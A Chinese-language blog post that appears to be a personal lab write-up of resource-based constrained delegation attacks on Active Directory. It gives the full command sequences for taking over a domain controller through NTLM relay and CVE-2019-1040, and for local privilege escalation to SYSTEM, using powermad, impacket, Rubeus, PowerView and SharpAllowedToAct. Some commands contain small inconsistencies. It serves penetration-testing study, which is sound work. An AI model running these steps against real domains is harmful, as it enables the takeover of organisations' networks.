基于资源的约束性委派

基于资源的约束性委派

也不是新技术了,在网上搜了很多资料,有的很巧妙结合WebDav,有的比较基础一套流水线,无论如何我们不能觉得简单就跳过基础部分的学习,看完之后更要去模仿。

参考文章:https://mp.weixin.qq.com/s/GdmnlsKJJXhElA4GuwxTKQ

http://blog.nsfocus.net/analysis-attacks-entitlement-resource-constrained-delegation/

https://blog.ateam.qianxin.com/post/zhe-shi-yi-pian-bu-yi-yang-de-zhen-shi-shen-tou-ce-shi-an-li-fen-xi-wen-zhang/#33-%E5%90%8E%E5%8F%B0getwebshell%E7%9A%84%E8%A1%A5%E4%B8%81%E7%BB%95%E8%BF%87

介绍:只要拥有服务B的权限,就可以配置服务B的基于资源的约束委派,所以可以利用中继配置受信任的委派。参考文章中会写的很清楚。

利用基于资源的约束性委派来进行攻击有两种场景

1、结合NTLM Relay接管域控,如cve-2019-1040

2、进行本地提权(获取到了将机器加入域的用户的权限或Account Operators组内用户权限)

主域:10.10.10.10(机器名:ad,域管:administrator)

辅助域控:10.10.10.20 (机器名:DC2:administrator)

受控机器:10.10.10.12 (机器名:win2008,普通域用户:superman\test)

攻击机器:10.10.10.13 (机器名:kali)

目的:利用ntml relay配置基于资源的约束委派,能获得主域的权限

NTLM Relay 接管域控

利用条件:前提需要有备份域控(辅助域控)

1、添加服务账号:serviceA 密码:123456 一个域账号可以

Import-Module .\powermad.ps1

New-MachineAccount -MachineAccount serviceA -Password $(ConvertTo-SecureString "123456" -AsPlainText -Force)

image-20220406110936472

2、触发ntlm relay

2.1执行ntlmrelayx.py脚本,--delegate-access选项是将中继计算机帐户的访问权限委托给攻击者,--escalate-user参数设置serviceA资源委派,--remove-mic参数了是去除mic验证:

impacket-ntlmrelayx -t ldap://10.10.10.10 -smb2support --remove-mic --delegate-access --escalate-user serviceA\$ -debug

image-20220406112842426

2.2利用cve-2019-1040

使用任意域账号(test)SMB连接辅助域控制器,触发printerbug,使辅助域控制器(10.10.10.20)用自己的用户身份回连攻击者主机(10.10.10.13)

python3 printerbug.py superman.com/test:Openx123..@10.10.10.20 10.10.10.13

image-20220406112925744

如图显示即成功,成功配置了从serviceA到DC2的委派

3(1)、使用impacket-getST 获取ST登录DC2

3.1、获取DC2的ST票据,-impersonate 模拟用户,此处模拟administrator,因为域控必有嘛

impacket-getST -spn cifs/DC2.superman.com superman/serviceA\$:123456 -dc-ip 10.10.10.10 -impersonate administrator

image-20220406113433550

image-20220406113707935

3.2、导入票据,smb登录(注意该票据只对DC2有效)

确定dns指向10.10.10.10

image-20220406113535117

export KRB5CCNAME=administrator.ccache

impacket-smbexec -k -no-pass dc2.superman.com

image-20220406113757408

3(2)、使用rubeus获取ST票据,效果与impacket-getST一样,做个记录

先获取serviceA$用户的hash:

Rubeus.exe hash /user:serviceA$ /password:123456 /domain:superman.com

请求DC2机器的cifs票据:

Rubeus.exe s4u /user:serviceA$ /rc4:32ED87BDB5FDC5E9CBA88547376818D4 /domain:superman.com /impersonateuser:administrator /msdsspn:cifs/DC2.superman.com /ptt

提权

利用条件:1、需要设置msDS-AllowedToActOnBehalfOfOtherIdentity属性,2、一个具有SPN的账号(需要一个账号的TGT)。

满足第一个条件:将机器加入域的用户和机器账号本身都有权限修改自身的msDS-AllowedToActOnBehalfOfOtherIdentity属性的值(用户对机器有写权限)。

满足第二个条件:默认所有域用户都可以向一个域添加10个机器账号(机器账号默认具有一些SPN,这些SPN包含了后面用到的cifs)。

因此若当前受控机器的域用户使将机器加入域的用户,也就都满足以上两个条件。

域账号提权
  • 使用powerview枚举已获得得用户对当前计算机是否有写权限(域用户test)

hostname获取主机名:win2008

Import-Module .\powerview.ps1

Get-DomainUser test -Properties objectsid

Get-DomainObjectAcl -Identity win2008 | ?{$_.SecurityIdentifier -match 'S-1-5-21-122891326-2016718976-2168248543-1124'}

第一次失败了没有任何返回,所以此处暂不能进行rbcd,为了实验得以进行,手动配置下权限

image-20220407101951587

image-20220407101757670

  • 添加机器账号serviceB

    Import-Module .\powermad.ps1

    New-MachineAccount -MachineAccount serviceB -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force)

    查看serviceB的sid

    Get-DomainComputer serviceB

    image-20220407102720295

    配置serviceB到win2008的基于资源约束的委派

     $SD =New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList 'O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-122891326-2016718976-2168248543-1127)';
    $SDBytes= New-Object byte[] ($SD.BinaryLength);
    $SD.GetBinaryForm($SDBytes,0);Get-DomainComputer win2008 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

image-20220407103914303

  • 获取票据进行提权(这一步的时候稍微缓个10秒钟执行)

    impacket-getST -spn cifs/win2008.superman.com superman/serviceB\$:123456 -dc-ip 10.10.10.10 -impersonate administrator

    image-20220407104434292

    export KRB5CCNAME=administrator.ccache

    export KRB5CCNAME=administrator.ccache

    可以看到成功获得win2008的system权限

image-20220407111820259

机器账号提权

由于iisapppool\defaultapppool或是networkservice账户权限出网时都是以当前机器账户身份进行请求,因此可以利用RBCD进行提权。

可以直接使用:

"https://github.com/pkb1s/SharpAllowedToAct"

添加机器账号,并设置serviceE到sqlserver的基于资源约束的委派:

 SharpAllowedToAct.exe -m serviceC -p 123456 -t win2008 -a dc.superman.com -d superman.com

640

image-20220407114303052

获取票据,并利用票据进行命令执行:

 python3getST.py -spn cifs/sqlserver.superman.com superman/serviceC\$:123456 -dc-ip 10.10.10.10 -impersonate administrator
exportKRB5CCNAME=administrator.ccache
python3 smbexec.py -k -no-pass win2008.superman.com

机器账号提权摘得别人的图,最近有项目时间紧凑,挤点时间学的,委派的技术前前后后断断续续的都快搞10天了QAQ。。。

posted @ 2022-04-07 22:14  我要变超人  阅读(486)  评论(0编辑  收藏  举报